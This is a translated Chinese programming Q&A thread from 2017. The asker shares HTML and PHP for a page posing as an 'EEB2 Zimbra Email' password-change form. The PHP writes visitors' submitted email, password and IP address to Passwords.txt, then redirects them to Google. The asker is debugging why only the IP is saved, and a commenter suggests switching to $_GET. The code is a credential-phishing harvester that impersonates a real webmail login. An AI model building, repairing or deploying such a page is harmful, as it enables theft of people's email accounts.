【发布时间】:2017-02-20 10:37:16
【问题描述】:
我正在尝试制作一个表单,当用户键入信息然后提交时,它会将其保存在文本文件中。但是当我打开文本文件时,它只显示 IP 地址......我无法弄清楚我的代码做错了什么:
我已经尝试将 §_SERVER 更改为 $_POST 但它不起作用
谢谢:)
HTML:
<form action="login.php" id="login.php" method="get">
<div class="imgcontainer">
<img src="zimbra.png" alt="Avatar" class="avatar">
</div>
<div class="bodypage">
<div class="font">
<div class="container">
<label>EEB2 Zimbra Email</label>
<input type="text" placeholder="Enter Email" name="email" id="email" required>
<label>Password</label>
<input type="password" placeholder="Enter Password" name="psw" id="psw" required>
<label>New Password</label>
<input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">
<label>Confirm New Password</label>
<input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
</div>
<a href="google.com"><button type="submit">Change Password</button></a>
</div>
</form>
PHP:
<?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];
$psw = $_SERVER['psw'];
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>
编辑:我不是要获取新密码,只是要获取电子邮件和密码。
【问题讨论】:
-
把你的代码放在这里。
-
等一下,我会尝试再次将其放入帖子中。
-
我只是把代码放到帖子里了:)
-
你的方法是 $_GET 所以它会是 $_GET['email']
-
尝试用$_GET改,还是不行:/